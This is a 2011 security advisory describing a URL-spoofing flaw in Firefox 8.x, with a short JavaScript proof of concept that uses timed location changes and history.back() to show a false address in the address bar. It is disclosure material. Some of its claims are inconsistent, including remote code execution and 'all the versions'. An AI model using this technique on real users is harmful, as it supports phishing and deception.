Document Title:
===============
Mozilla Firefox v8.x - URL & SSL Spoofing Vulnerability


Date:
=====
2011-12-21


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=330


VL-ID:
=====
330


Introduction:
=============
Mozilla Firefox is a free and open source web browser descended from the Mozilla Application Suite and managed by Mozilla Corporation. 
As of September 2011, Firefox is the second most widely used browser, with approximately 25% of worldwide usage share of web browsers. 
The browser has had particular success in Germany and Africa, where it is the most popular browser with 50% and 35% usage respectively. 
To display web pages, Firefox uses the Gecko layout engine, which implements most current web standards in addition to several features 
that are intended to anticipate likely additions to the standards.

Features include tabbed browsing, spell checking, incremental find, live bookmarking, a download manager, private browsing, location-aware 
browsing (also known as geolocation) based exclusively on a Google service and an integrated search system that uses Google by default 
in most localizations. Functions can be added through extensions, created by third-party developers, of which there is a wide selection, 
a feature that has attracted many of Firefox`s users.

Firefox runs on various operating systems including Microsoft Windows, Linux, Mac OS X, FreeBSD, and many other platforms. Its current 
stable release is version 8.0, released on November 8, 2011.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Mozilla_Firefox )


Abstract:
=========
A vulnerability laboratory researcher discovered a remote URL Spoofing vulnerability on the famous Mozilla Firefox web-browser.


Report-Timeline:
================
2011-12-22: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A remote URL Spoofing vulnerability has been discovered in Mozilla Firefox (all the versions).
The vulnerability allows an remote attacker to execute remote code out of the software context.
The bug is located when processing to link a specific website target to a new browser tab.
Successful exploitation allows an attacker to redirect the target system via url spoofing.


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low user inter action. For demonstration or reproduce ...

<script>
function gotogo(){
setTimeout("document.location.href='https://bugzilla.mozilla.org';",100);
setTimeout("history.back();",100);
}
</script>

<a href="#" onclick="gotogo();">clickme and forward me</a>


Risk:
=====
The security risk of the remote URL Spoofing vulnerability is estimated as high(+).


Credits:
========
Vulnerability Research Laboratory - Jordi Chancel & Eddy Bordi (www.alternativ-testing.fr)


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===========
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